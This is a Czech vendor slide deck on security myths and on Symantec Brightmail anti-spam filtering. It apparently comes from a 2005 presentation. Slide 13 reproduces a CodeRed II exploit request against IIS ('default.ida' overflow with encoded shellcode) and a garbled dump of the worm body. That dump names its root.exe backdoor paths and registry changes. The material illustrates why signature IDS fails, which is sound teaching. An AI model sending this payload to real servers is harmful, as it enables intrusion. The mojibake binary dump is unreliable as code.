Mýty a reality bezpečnosti

1. Mýty a reality bezpečnosti Jaroslav Techl techl@abdist.cz ABAKUS Distribution, a.s.

2. Čeho jsme stále více svědky? • Téměř všechny větší společnosti se ocitají bez perimetru • Částečně se jedná o důsledky diverzifikace obchodních aktivit • Masové užívání přenosných počítačů přináší zcela zásadní rizika • Naprostá většina útoků je aplikačních a přichází povolenými porty • Ze zvýšeného „virového šumu“ vyrůstají nebezpečné útoky, realizované pomocí replikujících se červů • Nebezpečné kódy zneuživají zranitelností a hackují sítě zákazníků • Jsou vykrádána citlivá data, která jsou odesílána neznámým příjemcům • Téměř všechny „pokročilé“ červy byly spojeny s trojskou logikou • Dochází k ochromujícím DDoS útokům ne zvenčí, ale zevnitř sítí • Kompromitace zevnitř jsou stále více záměrem vnějších útočníků

3. Proč se to děje s takovým úspěchem? • Příčinou nejsou jen úspěšní útočníci, ale také neúspěšní obránci, podléhající řadě bezpečnostních mýtů.

4. 1. mýtus – „Technologie rozhoduje“ • Rozhodují lidé! • Zranitelný software tady bude a výrobce to nevyřeší. • Útočníci tady také budou a budou kompetentní. • Zvyšujte tedy svoji kompetenci rychleji. • Základem je znát, ne domnívat se! Myslet, znamená nevědět. • Naprosté většině úspěšných útoků předcházejí nezpozorovaná nebo ignorovaná varování • Přes pokles tempa vzniku nových zranitelností zůstává stále frekvence na úrovni 73/týden (statistika CERT za rok 2003) • Očekávat, že tuto záplavu zvládnou provozně orientovaní správci bez nástrojů je zcela iluzorní a nerealistické • Většina útoků nevyžaduje žádnou nebo jen minimální interakci s uživatelem. Ten jim nezabrání. Proti profesionálovi musí stát profesionál.

5. Realita – inkubační doba zranitelností

6. 2. mýtus – „Vždyť jsou to jen viry!“ • Nejčastěji Vás ohrožují replikující se „kódy – hackeři“ • Napadení typicky přichází po vně povolených portech nebo zevnitř sítě • Jsou atakovány zranitelnosti a standardně otevřené porty nechráněných služeb • Vlastní smtp enginy v těle kódu vedou k anonymnímu vykrádání informací • Souběh skanů a nelegálních smtp transakcí zapříčiňuje DDoS útok zevnitř • Koncový uživatel je čistou obětí, nikoliv „spolupachatelem“ škod • Drtivá většina těchto kódů v sobě obsahuje nebo umožňuje trojskou logiku • Samotné antiviry (bez ohledu na výrobce) často nemohou útoku účinně zabránit

7. Realita – kombinované hrozby

8. Rozsah napadených platforem • Compaq OpenVMS • Compaq True64 Unix • Cray UNICOS • Entegrity DCE/DCF for Linux, True 64 Unix • Entegrity PC-DCE for Windows • HP Advanced Security for VP HP-UX, Solaris • HP-UX 10.2-11.0 • HP OpenView Operations, VP Manager • IBM DCE Windows, AIX, Solaris • MS Windows 2000 Advanced Server, Data Center, Professional • MS Windows XP Home, Professional

9. Blaster: Co to bylo? • Červ, který se chová jako naprogramovaný hacker • Spustitelný kód je tajně umístěn do počítače • Dorazí jako deformovaná zpráva přes port 135 (DCOM RPC) • Důvody jeho úspěšnosti • Využití známé zranitelnosti Microsoft RPC. • Shodí službu a vloží deformovanou zprávu do systému • Port 135 je v interních sítích typicky ponecháván otevřený, výsledkem je interní DDoS • Port 135 je používán pro Win management, i v případě osobních firewallů bude často přístupný • Infikovaný stroj serestartuje předtím, než může být zaveden patch • Vzniká plných 27 dní před vyrobením patche

10. 3 .mýtus – „Jsme přece za firewallem“ • Jste si jisti slůvkem „za“? • Značná část vlastních uživatelů pracuje velmi frekventovaně mimo perimetr • Mobilní pracovníci s notebooky, palmy apod. • Absence osobních firewallů (zejména kvůli slabinám v administraci) • Korporativní firewally stojí pouze na připojeních k Internetu • Povolené porty a služby, které jsou vynuceny obchodními činnostmi • Značnou část externích subjektů pouštíme velmi frekventovaně za perimetr • Obchodní partneři, zákazníci, dodavatelé, veřejnost • Servisní pracovníci, vývojáři, testovací práce, pilotní projekty • Outsourcing a diverzifikace činností uvnitř korporací • Proč tedy mnoho těchto útoků přes Váš firewall prošlo? • Část jich propouštíte podle vlastních pravidel (až 80% útoků je aplikačních) • IDS systémy nejsou nasazovány tak, aby prohloubily perimetr směrem dovnitř • To, že se útoky za firewallem projevily, neznamená, že skrze něj přišly

11. Realita – nejčastěji skanované porty

12. 4. mýtus – „IDS – to je, co frčí!“ • Co je to síťové IDS založené na signaturách útoků? • Signaturové IDS je svým mechanismem de facto blízké „packetovému antiviru“ • Vysoká aktualizační zátěž (není signatura, není detekce) • Existuje asi 3000 známých útoků vs. současné IDS jsou schopny uplatnit 600 signatur • Nulová účinnost v nulových dnech vs. simulace účinnosti honbou za známými útoky • Vysoký počet falešných hlášení a snadná možnost zneužití zvenčí • Proč mají výrobci síťových IDS tak malou instalovanou bázi? • Každé reálně nasazené IDS zakládá problém typu „24x7x365“ • Minimální podpora agregací a korelací útoků vs. statisíce izolovaných událostí • Vysoká pracnost odlišení falešných hlášení od skutečných síťových útoků • Finální rozčarování pak vede k tomu, že mnohé systémy končí opět v krabici na skříni • Detekce anomálií v protokolech a provozu, využívající signatur jen doplňkově • Použití výkonných agregačních a korelačních enginů – incidenty

13. Realita – omezení signaturových systémů • GETdefault.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=aHTTP/1.0 Content-type: text/xmlContent-length: 3379 ﾈﾈ `・ ﾌ・dg6 dg・ 鞜 h劫\PU恪・PU・@・燕XU・ 斑= 版ﾍｶﾉ燕T丘×0・ ・ ﾇF0・ ・ CodeRedII ・$U､Yj劫pPu€Uｰｻ ﾀtK3ﾛU・3' u?ﾇ・ ﾇ・ ﾇ・ 畿€怨d劫hPj 劫`Pj jU屠 Th~f€u€U､Y・u1 X-ﾓ j h・ Pu€Uｬ=・ uj j劫\Pu€Uｨu€Uｴ鱸ｻ ﾟw・ ・ xuｻ `・ 掬$dg・ Xa・dg6 dg・ f・MZu繼K<・PE uﾗ亀xﾓ毅・KERNuﾅ－EL32uｻ3ﾉI脚 Aｭ・GetPu|rocAu・JIﾑ・J$ｷﾁ・J・ﾃ吋$$dg・ Xaﾃ鏖云・E LoadLibraryA u・UE CreateThread u・UE GetTickCount u・UE・ Sleep u・UE韋 GetSystemDefaultLangID u・UE蒻 GetSystemDirectoryA u・UE琲 CopyFileA u・UEﾜ・ GlobalFindAtomA u・UEﾘ・ GlobalAddAtomA u・UEﾔ・ CloseHandle u・UEﾐ・ _lcreat u・UEﾌ・ _lwrite u・UEﾈ・ _lclose u・UEﾄ・ GetSystemTime u・UEﾀ・ WS2_32.DLL UEｼ・ socket uｼUEｸ・ closesocket uｼUEｴ・ ioctlsocket uｼUE､・ connect uｼUEｰ・ select uｼUE・ send uｼUEｬ・ recv uｼUEｨ・ gethostname uｼUE懆 gethostbyname uｼUE倩 WSAGetLastError uｼU碑 USER32.DLL UE占 ExitWindowsEx u・UE古畿・ﾀ・@右ы・xV4ﾁﾀﾃ鞦< t・t竟旗韆韓ﾁ・鞋旗靱韓雍・・        Y・・ﾘ#・ﾘ€・t麾鍗t・拗t津h 劫\PU熏ｼ\・ \CMD.EXE ^・･､ｳcj・ d:\inetpub\scripts\root.exe ・$・劫\PUﾜj・d:\progra~1\common~1\system\MSADC\root.exe ・$・劫\PUﾜ霄 ・ZP  ｸ @ ・・・ PE L *%) 潤 @ @ 0 ・ ` @ ﾀ 0 @ ﾀ・・・・・・・・・・・・・・・・・・・・・・ h hﾐ @ 鐶 査ﾐ @ ｾ @ ････jhﾐ @ 鎰 ・ hﾀ‘ ・ ・hﾘ$@ h? j h @ h €・ ﾀu&jhT @ jj hH @ 5ﾘ$@ ・ 5ﾘ$@ ・ hﾘ$@ h? j hX @ h €竟 ﾀuUｽ・@ 鎰 ｽｨ @ 錚 j hｸ @ jj hｰ @ 5ﾘ$@ 雍 j hﾄ @ jj hｴ @ 5ﾘ$@ 陌 5ﾘ$@ 陏 ﾃﾇﾐ$@ hﾐ$@ hﾐ @ hﾔ$@ j U5ﾘ$@ 鐐 ﾀuI｡ﾐ$@ﾀt@ｾﾐ @ €> t6Ff×,,u217 ・ﾌ @ ・ﾐ$@ 5ﾐ$@ hﾐ @ jj U5ﾘ$@ ・ ﾃ%`0@ %d0@ %h0@ %p0@ %t0@ %x0@ %|0@・・・・・・・・・ \EXPLORER.EXESOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon SFCDisable ・SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots /Scripts /MSADC /C /D c:\,,217 d:\,,217・・・・・・・・・・・・ <0 ・ `0 L0 ・ p0 ・ ｦ0 ｾ0 ﾈ0 ﾜ0 ・ 0 ・ ｦ0 ｾ0 ﾈ0 ﾜ0 ・ 0 KERNEL32.dll ADVAPI32.dll Sleep GetWindowsDirectoryA WinExec RegQueryValueExARegSetValueExA RegOpenKeyExARegCloseKey・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・ ^ｿｹ j・ d:\explorer.exe ・$・Uﾌ・tM怨Lｬ旗8>u'j ・jVｵLUﾈFOuﾅｵLUﾄﾃ€珒・・ﾃaﾉﾂ

14. 5. mýtus – „Více výrobců = více jistoty!“ • Ani kombinace technologií různých výrobců nemusí být všelékem • Kombinace různých produktů od různých výrobců má své kouzlo (například v případě heuristické kontroly antivirů) • Přináší však řadu úskalí – různá správa, rozdílná aktualizace, občasné konflikty na stejných systémech • Mezníkem je často velikost společnosti – važte proti sobě výhodu různosti a problém neovladatelnosti • Náklady na integraci často překračují náklady na produkty • Základním problémem integrace není to, „aby si produkty navzájem rozuměli“ • Jde o to, aby lidé rozuměli tomu, „co se ve všech těch produktech současně děje“ • Účinnost je založena na informaci, na jejímž základě se rozhodnu a správně konám • Často neplatí, že kombinace „toho nejlepšího“ dává něco „ještě lepšího“

15. Realita – Jak pejsek s kočičkou vařili dort

16. 6. mýtus – „Hacker je technický genius“ • Sociální techniky jsou stále velmi účinné a měli by být prověřovány • Technické zranitelnosti svých systémů můžete relativně snadno zjišťovat, už jste někdy zavolali koncovému uživateli • Základní školení bezpečnostních praktik by nemělo být dlouhodobě obcházeno (Enterprise Security Awareness Program) • I nízká kvalifikace může stačit při velké důvěře nebo neomezené příležitosti • Sociálně založený hacking přichází často i zevnitř (rozdílná motivace) • James Bond na střeše nepřistane, stále je jednodušší dát někomu peníze • Snažte se personálními opatřeními snížit fluktuaci klíčových pracovníků • Fluktuace se typicky týká shodných nebo podobných oborů – Vaši lidé přijdou ke konkurenci • Omezujte obtížně kontrolovatelné technologie (plošné přístupy přes ODBC, klíčová data ve sdílených adresářích...)

17. 7. mýtus – „Všichni si rozumíme“ • Sociální techniky jsou stále velmi účinné a měli by být prověřovány • V čem spočívá podstata lidské komunikace a v čem je její problém? • Strana, která „kóduje“ používá jiný klíč, než strana, která „dekóduje“ • Různá úroveň znalostí a kvalifikace • Různé zkušenosti a představy o sdíleném obsahu • Mnoho scénářů úspěšných útoků počítá s tímto faktem !!! • Než se lidé dohodnou, často již není na čem se dohadovat • Fingované útoky proti IDS odvádějící pozornost bezpečnostních specialistů • Kombinované útoky různůmi červy ve stejném čase nebo v těsné souslednosti • Různé projevy téhož na různých úrovních • Jak to vidíme „my od firewallu“ • Helpdesk už má zase problémy s aplikací • Správce něco udělal s přístupy...

18. Hlavní zásady účinné bezpečnosti • Příčinou nejsou jen úspěšní útočníci, ale také neúspěšní obránci • I bezpečnostní specialisté často redukují bezpečnost na technologii • Zásadně je podceňována hodnota přesných informací a včasných varování • Naprostá většina společnostní používá pouze kombinaci firewall/antivirus • Převážná většina firewallů nepracuje na aplikační vrstvě a není schopna rekonstruovat pakety na vnitřních rozhraních • Základním problémem jsou lidé, jejich informovanost, komunikace, rozhodnutí a akce • Ze zvýšeného „virového šumu“ vyrůstají nebezpečné útoky, realizované pomocí replikujících se červů • Nebezpečné kódy zneuživají zranitelností a hackují sítě zákazníků • Jsou vykrádána citlivá data, která jsou odesílána neznámým příjemcům • Téměř všechny „pokročilé“ červy byly spojeny s trojskou logikou • Dochází k ochromujícím DDoS útokům ne zvenčí, ale zevnitř sítí • Investujte do zhodnocení dat, která již máte a do schopnosti řídit odezvu

19. Realita v České republice včera • Antivirové záznamy celkem • Antivirové záznamy HTTP/FTP • Provoz na perimetru • Útoky podle typu ne jen AV

20. Stav spamu – v průměru 66% jsme naměřili v ČR • Průměrné stavy po měsících: • Listopad 2004 52% • Prosinec 2004 71% • Leden 2005 82% • Z toho bylo zamořeno červy: • Listopad 2004 7% z celkového objemu (tj. 3928 zpráv) • Prosinec 2004 3% z celkového objemu (tj. 1981 zpráv) • Leden 2005 1% z celkového objemu (tj. 8 zpráv) (Výsledek za leden je zkreslen tím, že jsme testovali účinnost firewallů před antispamovou bránou.)

21. Údaje spamové sondy po měsících

22. Podrobnější pohled po týdnech

23. Virová zátěž ve spamu po měsících

24. Viry a červy ve spamu po týdnech

25. Architektura a nasazení řešeníSymantec

26. Základní pohled na architekturu U zákazníka Na straně Symantec Až 25% pošty v Internetu! Aktualizace od 10 minut

27. Architektura Symantec Brightmail Anti-Spam 6.x u zákazníka

28. Analýza SPAMu: centra BLOC

29. Analýza SPAMu: zkušební síť Základní funkce Jak to pracuje Proč jeto unikátní • Shromažďuje obrovská množství pošty pro spam analýzu • Poskytuje varování přes spam útoky a jinými hrozbami v reálném čase • Doručuje spam a falšovanou poštu do center BLOC, kde je analyzována a zpracována • Agreguje statistiky o celkovém poštovním provozu, dovoluje měřit úrovně spamování • Zákazníci vytvářejí nové adresy, které směrují poštu do center Symantec/Brightmail • Adresy jsou navrhovány tak, aby přitahovaly spammery a jsou široce publikovány • Patentová ochrana: Symantec je držitelem unikátního patenru na spam honey-pot • Globální pokrytí:Zahrnuje adresy od ISP a velkých korporací v Americe, regionu EMEA a APAC • Mimořádný rozsah:Přes 2 milionyklamných mailových adres a domén. Spolu se vzorky spamové pošty od zákazníků kontrolujeme přes 300 milionů poštovních adres

30. Způsoby a metody filtrování

31. Obrana proti Spamu: víceúrovňový přístup

32. Fitrování dle identity a reputaci Co to je Výhody Výzvy • Identita:Určení domény, IP adresy nebo poštovní adresy odesílatele příchozí zprávy • Reputace:Monitoring chování odesílatele a zdroje pošty s cílem určit poměr mezi legitimní poštou a spamem posílaným z daných adres • Spolehlivost:Každý počítač v Internetu má unikátní IP adresu • Obtížné oklamání:I když spammeři mohou snadno podvrhnout adresu odesílatele (help@citibank.com), nemohou snadno maskovat IP adresu odesílajícího stroje • Problém otevřených relayí:Spammeři mohou používat otevřené relaye, které jsou vlastnictvím odesílatelů legitimní pošty • Kvalita:Seznamy musí být extrémně přesné a často aktualizované, aby se mohly vypořádat se spammery

33. Co se děje na pozadí reputací?

34. Služba reputací: první linie obrany Jak to pracuje Reputation Service Dostupné seznamy • Symantec trvale analyzuje reputaci IP adres, které odesílají poštu • Symantec/Brightmail Scanner se rozhoduje buď v úplné nebo částečné závislosti na reputaciIP adresy odesílatele • Služba plně integrována do Symantec /Brightmail Anti-Spam • Seznam otevřených proxy:zahrnuje stroje infikované nebezpečným kódem • Seznam podezřelých:včetněstrojů, jejichž pošta je vysoce spammová • Seznam bezpečných:zahrnuje stroje, které neodesílalyspam

35. Filtrování podle reputace: výhoda pro zákazníka Přesnost Automatizace Flexibilita a rychlost • Patentovaná testovací síť proaktivně odhaluje otevřené proxy • Ignoruje otevřené relaye, snižuje pravděpodobnost falešných detekcí • Filtruje individuální servery, ne farmy • Každou hodinu je vytvářen kompletně nový seznam • Centra BLOC automaticky verifikují, zda jsou IP adresy otevřenými proxy • Nové seznamy jsou každou hodinu automaticky znovu aktualizovány • Nasazení je možné kdykoliv (restrikce nejsou omezeny pouze na poštovní gatewaye) • Jediné řešení s aktualizovanými filtry na bázi reputace • Nesrovnatelně vyšší přesnost a 2x vyšší výkonnost oproti standardním DNS lookup metodám

36. URL odkazy ve spamových zprávách Hrozba Odezva • Spammeři ve zvýšené míře užívají URL odkazy v poště • 90% spamové pošty obsahuje URL odkaz, který může uživatel použít • Proč? • Spam URL Filtry • BLOC extrahuje v testovací síti URL od spamu • BLOC vytváří seznam URL od spammerů • URL odkazy jsou testovány, aby se zjistilo, zda je za nimi webový server spammerů • URL odkazy jsou stahovány do scannerů na straně zákazníka • E-mail se spam URL je blokován Spammeři vydělávají velké peníze generováním webového provozu nebo vybízením uživatelů k nákupům

37. Spam URL Filtry: výhoda pro zákazníka Trvalá aktualizace Flexibilita a rychlost Účinnost • Práce v reálném čase s dynamickými daty z testovací sítě – žádné „zatuchlé“ seznamy s filtry • Přes 20.000 aktivních URL odkazů v seznamu • Nové URL filtry jsou nasazovány každou hodinu • Detekce falšovaných URL odkazů • Rychlá kontrola shody u jednoduchých URL • Pokročilá, heuristická analýza URL shody • Zvláště efektivní proti URL odkazům typu „mailto:“ • Jen samotný spam URL filtr zachycuje přes 70% spamové pošty • Vysoce účinné proti širokému rozsahu spamových zpráv

38. Technologie antispamových signatur Hash na zprávě BrightSig2 Signatury příloh • První generace technologie signatur • MD5 hash na těle zprávy • Zachycuje všechny identické zprávy, mající shodný MD5 hash • Patentované signatury pro zachycení “nejasných” shodností s tělem zprávy • Identifikují mutace a náhodná generování používaná spammery k obejití filtrů • Zachycují specifické útoky (a jejich variace) přímo ve fázi jejich rozvoje • Třetí generace technologie signatur • Extrahuje přesné signatury MIME obsahu (např. pornografické obrázky, klamnou grafiku nebo i červy) • Filtruje spam přílohy, současně povoluje průchod legitimním přílohám

39. Signatury příloh: poslední generace

40. Taktika spammerů: obejití filtrů falšováním HTML kódu • Jednoduchý způsob, kterýmmůže spammerzařídit náhodné generování obsahu zpráv • Zprávy s HTML mutacemi jsou velmi obtížnězachytitelné filtry

41. BrightSig2: Boj proti mutovaným spamům Předem blokuje náhodně generované zprávy, které jsou mutacemi původního spam útoku

42. Heuristické filtrování • Hledá víceré vlastnosti spamu • Každá vlastnost „získává“ určitý počet bodů • Body se postupně sčítají • Je-li dosaženo SPAM skóre, je zpráva blokována • Výhody • Dobré pro boj se zcelanovými spam záplavami • Nevýhody • Detekce může být delší • Spammeři zprávy často testují proti některým heuristickým enginům ještě předtím, než záplavu spustí • Heuristiky musí být „trénovány“, aby zachytily spam (často za cenu zvýšení počtu falešně blokovaných zpráv)

43. Heuristickéfiltrování: přednosti Symantecu • Z podstaty věci samé je většina heuristik konkurentů kompromisem mezi účinností, přesností a výkonností Přesnost a rychlost Žádné „trénování“ • Heuristika není naší primární antispamovou technologií, ale je pouze doplňkem • Je použita až při neúčinnosti všech jiných filtrů • Je proto navržena pro 5-10% celkové účinnosti systému • Používá kompilovaný kód, který je 2-4x rychlejší než kód interpretovaný • Heuristika je automaticky trénována centry BLOC na straněSymantecu, a tos využitím testovací sítě a legitimní pošty • Administrativní zátěž je dále snižována pomocí automatické aktualizace

44. Filtrování na bázi jazyka • Okolo 10% spamové pošty je v jiném než anglickém jazyku • Symantec umí zákazníka chránit před ne-anglickým spamem Technologie filtrování Expertíza / zdroje • Jazykově agnostická– technologie filtrování • Jazykově specifická – heuristika • Zeměpisně založené – filtrování reputace • Language ID pro velkou skupinu jazyků • Filtrování jazyka “per user“ • Globální pokrytí BLOC • US • EMEA • APAC • Jazykové schopnosti analytiků BLOC (plynně hovoří většinou světově používaných jazyků – dokonce i česky a slovensky)

45. Příklad: Filtrování a identifikace jazyka „per-user“

46. Nebezpečný obsah: další velká hrozba • Antivirová detekce na bázi Symantec Scan Engine • Detekuje viry a červy ve zprávách a jejich přílohách • Červy jsou ze zpráv automaticky vymazávány • Antivirové definice jsou aktualizovány společně s antispamovými pravidly • K dispozici je oddělené i dodatečné licencování

47. Zákaznické filtry: silný doplněk • Umožňují správcům, aby filtrovaly jiné, než spamové zprávy • Vytvoření gobálních, na serverech založených filtrů pomocíeditoru Custom Filters • Víceré podmínky a skanovací kritéria: • IP Addresy • Odesílatel, příjemce, From, To, CC • Pole záhlaví • Tělo • Velikost • MIME záhlaví • Volitelné akce se zprávami

48. Minimální zátěž správců

49. Symantec/Brightmail Control Center • Webové rozhraní pro: • Centralizovanou správu • Tlačná nastavení • Získávání logů • Webovákaranténa • Rozhraní admina • Rozhraní uživatele • Monitoring • Summární přehled • Stav „per- machine“ • Logy • Statistiky a reporty

50. Globální správa a okamžitý celkový přehled • Centralizovaná správa vícenásobných serverů • Statistikylogů za jednotlivé nebo agregované skanery • Konsolidované reportyza všechny skanery